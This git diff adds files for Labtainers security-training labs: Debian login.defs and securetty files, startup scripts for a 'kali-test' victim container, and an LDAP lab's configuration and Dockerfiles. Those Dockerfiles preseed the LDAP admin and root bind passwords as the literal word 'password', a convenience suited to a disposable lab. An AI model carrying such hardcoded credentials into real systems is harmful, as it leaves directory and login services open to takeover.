pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/sbin/faux_init new file mode 100755 index 000000000..7a067651c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/victim/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/mynotify.sh start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/client/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/about.txt new file mode 100644 index 000000000..4402416d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/about.txt @@ -0,0 +1 @@ +Use an LDAP server to authenticate the users of Linux systems. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/start.config new file mode 100644 index 000000000..bbdba00eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/start.config @@ -0,0 +1,65 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER ldap + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED ldap_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK LAN + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER ldap + USER admin + SCRIPT NONE + LAN 172.25.0.2 + X11 YES + ADD-HOST LAN + +CONTAINER client + USER mike + LAN 172.25.0.3 + X11 YES + ADD-HOST LAN + +CONTAINER server1 + USER admin + LAN 172.25.0.4 + SCRIPT NONE + X11 YES + ADD-HOST LAN + TERMINALS 0 + +CONTAINER server2 + USER admin + LAN 172.25.0.5 + SCRIPT NONE + X11 YES + ADD-HOST LAN + TERMINALS 0 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.client.student new file mode 100644 index 000000000..1e795fe99 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.client.student @@ -0,0 +1,69 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.ldap.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.ldap.student new file mode 100644 index 000000000..ccd976748 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.ldap.student @@ -0,0 +1,87 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +#FROM $registry/labtainer.network +FROM $registry/labtainer.wireshark +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +#RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +ENV DEBIAN_FRONTEND noninteractive +RUN echo -e 'slapd slapd/internal/adminpw password password' | debconf-set-selections +RUN echo -e 'slapd slapd/internal/generated_adminpw password password'| debconf-set-selections +RUN echo -e 'slapd slapd/password2 password password' | debconf-set-selections +RUN echo -e 'slapd slapd/password1 password password' | debconf-set-selections +RUN echo -e "slapd slapd/domain string example.com" |debconf-set-selections +RUN echo -e "slapd shared/organization string example" |debconf-set-selections +RUN echo -e "slapd slapd/backend string HDB" |debconf-set-selections +RUN echo -e "slapd slapd/purge_database boolean false" |debconf-set-selections +RUN echo -e "slapd slapd/move_old_database boolean true" |debconf-set-selections +RUN echo -e "slapd slapd/allow_ldap_v2 boolean false" |debconf-set-selections +RUN echo -e "slapd slapd/no_configuration boolean false" |debconf-set-selections +RUN apt-get update && apt-get install -y slapd ldap-utils phpldapadmin +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server1.student new file mode 100644 index 000000000..05ddbd6a5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server1.student @@ -0,0 +1,82 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +#FROM $registry/labtainer.base +FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +#RUN /usr/bin/yum-source.sh +# +# put package installation here +ENV DEBIAN_FRONTEND noninteractive +RUN echo -e 'ldap-auth-config ldap-auth-config/bindpw password password' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/rootbindpw password password' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/rootbinddn string cn=admin,dc=example,dc=com' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/override boolean true' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/dblogin boolean false' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/dbrootlogin boolean true' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/ldapns/ldap-server string ldap://172.25.0.2' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/ldapns/base-dn string dc=example,dc=com' | debconf-set-selections +RUN echo -e 'ldap-auth-config ldap-auth-config/ldapns/ldap_version string 3' | debconf-set-selections +RUN apt-get update && apt-get install -y libnss-ldap libpam-ldap ldap-utils nscd +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name 